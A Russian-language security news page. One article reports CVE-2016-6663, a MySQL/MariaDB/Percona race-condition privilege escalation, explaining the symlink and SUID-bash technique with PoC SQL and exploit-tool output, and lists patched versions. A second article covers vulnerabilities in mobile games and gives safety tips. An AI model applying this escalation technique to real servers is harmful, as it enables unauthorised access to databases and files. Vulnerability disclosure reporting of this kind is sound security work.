Обнаружена уязвимость в MySQL, позволяющая поднять свои привилегии

Обнаружена уязвимость в MySQL, позволяющая поднять свои привилегии

Обнаружена уязвимость в MySQL, позволяющая поднять свои привилегии

Давид Голански (Dawid Golunski) продолжил публикацию исследований безопасности MySQL. В сентябре им были опубликованы сведения об уязвимости в сервере MySQL, позволяющей повысить свои привилегии до пользователя root.

Техника атаки была ограничена пользователями с правами FILE, но было сказано, что имеется метод обхода данного ограничения и атака может быть совершена любым непривилегированным пользователем СУБД. Спустя месяц Давид раскрыл информацию о новой уязвимости (CVE-2016-6663), позволяющей обойти систему ограничения привилегий MySQL.

Уязвимость затрагивает MySQL и производные продукты, такие как MariaDB и Percona Server, и позволяет локальному пользователю, имеющему доступ к СУБД с типовыми правами на выполнение операций CREATE, INSERT и SELECT, получить полномочия администратора СУБД (обычно пользователь mysql) и возможность записи и чтения любых файлов MySQL, в том числе конфигурационных файлов и БД других пользователей. В сочетании с ранее обнародованной уязвимостью CVE-2016-6662, новая проблема упрощает проведение атаки по получению прав root на сервере с MySQL, пишет opennet.ru.

Уязвимость основана на использовании состояния гонки при работе с таблицами, размещёнными в подконтрольных пользователю директориях. Пользователь с правами "CREATE table" может через параметр "DATA DIRECTORY" задать путь к каталогу, где будет сохранена создаваемая таблица. В том числе таблицу можно разместить в директории, которая принадлежит пользователю, но файлы MySQL в данной директории будут размещены под пользователем mysql:

   attacker@debian:~$ ls -ld /tmp/disktable/
   drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

   mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

   attacker@debian:~$ ls -l /tmp/disktable/
   -rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

При выполнении команды "REPAIR TABLE", MySQL создаёт в той же директории временный файл, сохраняет параметры исходного файла таблицы, копирует данные и после завершения работы с временным файлом выполняет операции восстановления прав доступа и переименовывает временный файл в основной файл таблицы. Так как владельцем директории является атакующий и он имеет возможность манипулировать файлами, суть атаки сводится к подмене временного файла в промежуток после проверки параметров файла, но до выполнения chmod(). В итоге атакующий может подставить вместо временного файла символическую ссылку, указывающую на директорию /var/lib/mysql. На завершающей стадии работы "REPAIR TABLE" к ссылке на /var/lib/mysql будет применена операция chmod() с параметрами исходного файла таблицы пользователя, т.е. атакующий получит возможность установить произвольные права доступа на директорию /var/lib/mysql, изменив права на исходный файл со своей таблицей, например, установив на файл с таблицей права 777.

Через манипуляцию с битом SUID и его переносом на исполняемый файл, можно добиться выполнения произвольного кода в системе с правами mysql. Для этого на директорию пользователя следует выставить "sticky bit" и установить права drwxrwsrwx, после чего создание таблицы в данной директории приведёт к образованию файла с правами -rw-rw----, владельцем mysql и группой как у атакующего. Доступ членов группы на запись даёт возможность заменить содержимое файла таблицы на /bin/bash, после чего можно использовать вышеописанное состояние гонки для переноса на файл таблицы suid-бита и прав на запуск. В итоге получим исполняемый файл с копией bash и suid-битом для запуска с правами mysql.

   attacker@xenial:~/mysql-exploit$ ./mysql-privesc-race attacker pocsql localhost pocdb

   [+] Starting the exploit as: 
   uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

   [+] Connecting to the database `pocdb` as attacker@localhost

   [+] Creating exploit temp directory /tmp/mysql_privesc_exploit

   [+] Creating mysql tables 

   DROP TABLE IF EXISTS exploit_table 
   DROP TABLE IF EXISTS mysql_suid_shell 
   CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
   CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 

   [+] Copying bash into the mysql_suid_shell table. 
       After the exploitation the following file/table will be assigned SUID and executable bits : 
   -rw-rw---- 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Entering the race loop... Hang in there...


   [+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell: 

   -rwsrwxrwx 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Spawning the mysql SUID shell now... 
    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

   mysql_suid_shell.MYD-4.3$ whoami
   mysql

   mysql_suid_shell.MYD-4.3$ id
   uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)

   mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
   -rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
   -rw-rw---- 1 mysql mysql  168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
   -rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI

Уязвимость устранена в выпусках MySQL 5.5.52, 5.6.33 и 5.7.15, а также в MariaDB 5.5.52, 10.1.18 и 10.0.28, в Percona Server 5.5.51-38.2, 5.6.32-78-1 и 5.7.14-8, в Percona XtraDB Cluster 5.6.32-25.17, 5.7.14-26.17 и 5.5.41-37.0. Так как производители были заведомо информированы о проблеме, обновления пакетов уже выпущены для Debian, RHEL, Ubuntu, FreeBSD, Ubuntu и SUSE. 

70% мобильных игр небезопасны: эксперты нашли сотни уязвимостей

Казалось бы, что может быть безобиднее мобильных игр? Пару уровней в дороге, быстрый матч перед сном — и никаких рисков. Но на практике всё не так радужно. По данным AppSec Solutions, семь из десяти игровых приложений для смартфонов содержат уязвимости, а каждая седьмая из них может быть потенциально опасной.

Специалисты компании проанализировали около 50 популярных мобильных игр с помощью инструмента AppSec.Sting и обнаружили порядка 700 уязвимостей. Из них 90 получили высокий или критический уровень опасности.

Самые тревожные находки — это банальные, но оттого не менее опасные ошибки. Так, в 12 приложениях пароли и токены хранились прямо в исходном коде, фактически в открытом виде. Для злоумышленников это настоящий подарок — такие данные легко извлекаются и могут использоваться для взлома.

Ещё 13 игр не имели проверки целостности, что позволяет без особых усилий модифицировать сборку и менять логику приложения.

«Это серьёзно упрощает вмешательство в работу игры — от читов до более опасных сценариев», — пояснил руководитель отдела анализа защищённости AppSec.Sting компании AppSec Solutions Никита Пинаев.

Эксперт выделил три ключевые проблемы, которые встречаются в мобильных играх особенно часто.

Во многих играх критически важные механики — расчёт наград, прогресса и внутриигровых ресурсов — реализованы на стороне клиента. Без полноценной серверной проверки это открывает дорогу к подмене данных, повторному воспроизведению запросов и манипуляциям с игровой экономикой. Итог — читы, перекос баланса, падение честности и доверия игроков.

Небезопасное хранение данных и слабая защита сетевого взаимодействия. Конфиденциальная информация нередко хранится локально без шифрования и контроля целостности. К этому добавляются проблемы с сетевой защитой — отсутствие проверок подлинности запросов и защиты от повторного воспроизведения. Всё это создаёт условия для утечек данных и автоматизации мошеннических сценариев.

Многие приложения поставляются без обфускации кода и базовых механизмов защиты. В результате бизнес-логика легко анализируется, конфиденциальные параметры извлекаются, а модифицированные клиенты распространяются быстрее, чем разработчики успевают реагировать.

На первый взгляд проблемы выглядят «внутриигровыми», но на деле они оборачиваются вполне реальными рисками — финансовыми потерями, ростом мошенничества и репутационными издержками. И страдают от этого не только студии, но и обычные пользователи.

Эксперты AppSec Solutions напоминают простые, но эффективные правила цифровой гигиены:

  1. Скачивайте игры только из официальных магазинов.
    Сторонние источники — главный канал распространения модифицированных и вредоносных версий.
  2. Осторожнее с модами и «взломами».
    Читы — это не только риск бана, но и реальная угроза утечки данных или заражения устройства.
  3. Следите за разрешениями.
    Давайте игре только то, что действительно нужно для работы, и периодически пересматривайте доступы.
  4. Обновляйте приложения и ОС.
    Апдейты часто закрывают уязвимости, о которых вы даже не подозреваете.
  5. Используйте уникальные пароли.
    Для игровых аккаунтов — свои учётные данные и, по возможности, дополнительные механизмы защиты.

Мобильные игры давно перестали быть просто развлечением — вокруг них крутятся деньги, данные и целые цифровые экосистемы. А значит, относиться к их безопасности стоит не менее серьёзно, чем к банковским приложениям.

RSS: Новости на портале Anti-Malware.ru